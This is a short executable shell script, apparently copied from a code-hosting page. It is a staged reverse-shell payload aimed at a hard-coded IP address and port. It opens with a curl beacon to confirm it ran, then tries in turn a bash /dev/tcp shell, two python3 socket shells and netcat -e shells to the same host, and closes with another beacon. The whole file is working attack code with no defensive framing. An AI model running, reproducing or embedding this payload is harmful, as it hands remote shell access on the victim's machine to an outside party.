41 lines
986 B
Bash
Executable File
41 lines
986 B
Bash
Executable File
#!/bin/sh
|
|
# Stage 0: Quick callback to confirm exec
|
|
curl -s -m 3 http://202.79.169.91:28016/stage0_started || true
|
|
|
|
# Stage 1: bash reverse shell via /dev/tcp
|
|
bash -i >& /dev/tcp/202.79.169.91/28016 0>&1 &
|
|
sleep 1
|
|
|
|
# Stage 2: python3 PTY reverse shell
|
|
python3 -c '
|
|
import socket,subprocess,os,pty
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
s.connect(("202.79.169.91",28016))
|
|
os.dup2(s.fileno(),0)
|
|
os.dup2(s.fileno(),1)
|
|
os.dup2(s.fileno(),2)
|
|
pty.spawn("/bin/bash")
|
|
' &
|
|
sleep 1
|
|
|
|
# Stage 3: Plain python reverse shell
|
|
python3 -c '
|
|
import socket,subprocess,os
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
s.connect(("202.79.169.91",28016))
|
|
os.dup2(s.fileno(),0)
|
|
os.dup2(s.fileno(),1)
|
|
os.dup2(s.fileno(),2)
|
|
subprocess.call(["/bin/sh","-i"])
|
|
' &
|
|
sleep 1
|
|
|
|
# Stage 4: nc reverse shell
|
|
nc 202.79.169.91 28016 -e /bin/sh &
|
|
sleep 1
|
|
nc 202.79.169.91 28016 -e /bin/bash &
|
|
sleep 1
|
|
|
|
# Stage 5: curl to download callback script
|
|
curl -s -m 3 http://202.79.169.91:28016/stage5_done || true
|